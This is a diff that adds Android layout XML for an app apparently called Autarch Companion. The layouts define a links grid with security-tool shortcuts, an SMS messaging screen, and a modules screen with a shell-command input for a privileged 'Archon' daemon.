android:layout_height="wrap_content"
|
||||
android:text="@string/wg_checking"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="13sp" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- Output Log -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:minHeight="80dp"
|
||||
android:padding="12dp"
|
||||
android:text="@string/ready"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:scrollbars="vertical" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
284
autarch_companion/app/src/main/res/layout/fragment_links.xml
Normal file
284
autarch_companion/app/src/main/res/layout/fragment_links.xml
Normal file
@@ -0,0 +1,284 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/links_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_url_label"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="@string/server_url_placeholder"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:fontFamily="monospace"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginBottom="16dp" />
|
||||
|
||||
<!-- Row 1: Dashboard, WireGuard -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_dashboard"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_dashboard"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_wireguard"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_wireguard"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 2: Shield, Hardware -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_shield"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_shield"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_hardware"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_hardware"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 3: Wireshark, OSINT -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_wireshark"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_wireshark"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_osint"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_osint"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 4: Defense, Offense -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_defense"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_defense"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_offense"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_offense"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 5: Settings (single, full width) -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_settings"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="100dp"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_settings"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
340
autarch_companion/app/src/main/res/layout/fragment_messaging.xml
Normal file
340
autarch_companion/app/src/main/res/layout/fragment_messaging.xml
Normal file
@@ -0,0 +1,340 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<FrameLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background">
|
||||
|
||||
<!-- ═══ Conversation List View ═══ -->
|
||||
<LinearLayout
|
||||
android:id="@+id/conversation_list_container"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:orientation="vertical"
|
||||
android:visibility="visible">
|
||||
|
||||
<!-- Toolbar -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="12dp"
|
||||
android:background="@color/surface">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/messaging_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="22sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<!-- Shizuku status dot -->
|
||||
<View
|
||||
android:id="@+id/shizuku_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="12dp" />
|
||||
|
||||
<!-- Search button -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_search"
|
||||
android:layout_width="40dp"
|
||||
android:layout_height="40dp"
|
||||
android:text="?"
|
||||
android:textSize="16sp"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:insetTop="0dp"
|
||||
android:insetBottom="0dp"
|
||||
android:minWidth="40dp"
|
||||
android:padding="0dp"
|
||||
style="@style/Widget.Material3.Button.TextButton"
|
||||
android:layout_marginEnd="4dp" />
|
||||
|
||||
<!-- Default SMS toggle -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_default_sms"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="@string/messaging_become_default"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim"
|
||||
android:layout_marginEnd="4dp" />
|
||||
|
||||
<!-- Tools menu -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_tools"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="@string/messaging_tools"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Search bar (hidden by default) -->
|
||||
<LinearLayout
|
||||
android:id="@+id/search_bar"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:padding="8dp"
|
||||
android:background="@color/surface_dark"
|
||||
android:visibility="gone">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_search"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:hint="@string/messaging_search_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="text"
|
||||
android:background="@color/surface"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:singleLine="true" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_search_go"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="GO"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_search_close"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="X"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="4dp"
|
||||
style="@style/Widget.Material3.Button.TextButton" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Conversation RecyclerView -->
|
||||
<androidx.recyclerview.widget.RecyclerView
|
||||
android:id="@+id/recycler_conversations"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1"
|
||||
android:clipToPadding="false"
|
||||
android:padding="4dp" />
|
||||
|
||||
<!-- Empty state -->
|
||||
<TextView
|
||||
android:id="@+id/empty_state"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1"
|
||||
android:gravity="center"
|
||||
android:text="@string/messaging_empty"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- FAB for new message -->
|
||||
<com.google.android.material.floatingactionbutton.FloatingActionButton
|
||||
android:id="@+id/fab_new_message"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_gravity="bottom|end"
|
||||
android:layout_margin="16dp"
|
||||
android:contentDescription="@string/messaging_new_message"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:tint="@color/background" />
|
||||
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ Message Thread View ═══ -->
|
||||
<LinearLayout
|
||||
android:id="@+id/thread_view_container"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:orientation="vertical"
|
||||
android:visibility="gone">
|
||||
|
||||
<!-- Thread header -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="12dp"
|
||||
android:background="@color/surface">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_back"
|
||||
android:layout_width="40dp"
|
||||
android:layout_height="40dp"
|
||||
android:text="<"
|
||||
android:textSize="18sp"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:insetTop="0dp"
|
||||
android:insetBottom="0dp"
|
||||
android:minWidth="40dp"
|
||||
android:padding="0dp"
|
||||
style="@style/Widget.Material3.Button.TextButton"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:orientation="vertical">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/thread_contact_name"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/thread_address"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Thread tools -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_thread_export"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="@string/messaging_export"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Messages RecyclerView -->
|
||||
<androidx.recyclerview.widget.RecyclerView
|
||||
android:id="@+id/recycler_messages"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1"
|
||||
android:clipToPadding="false"
|
||||
android:padding="8dp" />
|
||||
|
||||
<!-- Message input bar -->
|
||||
<LinearLayout
|
||||
android:id="@+id/message_input_bar"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="8dp"
|
||||
android:background="@color/surface">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_message"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:hint="@string/messaging_input_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="textMultiLine"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="8dp"
|
||||
android:maxLines="4"
|
||||
android:minHeight="40dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_send"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="40dp"
|
||||
android:text="@string/messaging_send"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ Output Log (bottom overlay, hidden by default) ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/output_log_card"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="200dp"
|
||||
android:layout_gravity="bottom"
|
||||
android:layout_margin="8dp"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp"
|
||||
android:visibility="gone">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:orientation="vertical"
|
||||
android:padding="8dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Output:"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_close_log"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="30dp"
|
||||
android:text="X"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TextButton" />
|
||||
</LinearLayout>
|
||||
|
||||
<ScrollView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/messaging_output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="> ready_"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp" />
|
||||
</ScrollView>
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</FrameLayout>
|
||||
655
autarch_companion/app/src/main/res/layout/fragment_modules.xml
Normal file
655
autarch_companion/app/src/main/res/layout/fragment_modules.xml
Normal file
@@ -0,0 +1,655 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<!-- Header -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ARCHON MODULES"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<!-- Server Status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="16dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/server_status_dot"
|
||||
android:layout_width="12dp"
|
||||
android:layout_height="12dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Server: checking..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ Archon Server Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/archon_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Archon Server"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/archon_uid_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="UID 2000"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Privileged shell daemon — enables modules without root"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/archon_info_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Quick command -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_archon_cmd"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:hint="shell command..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_secondary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="text"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="8dp"
|
||||
android:paddingEnd="8dp"
|
||||
android:singleLine="true" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_run"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="RUN"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Server control buttons -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_info"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="INFO"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_ping"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="PING"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_packages"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="APPS"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Protection Shield Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
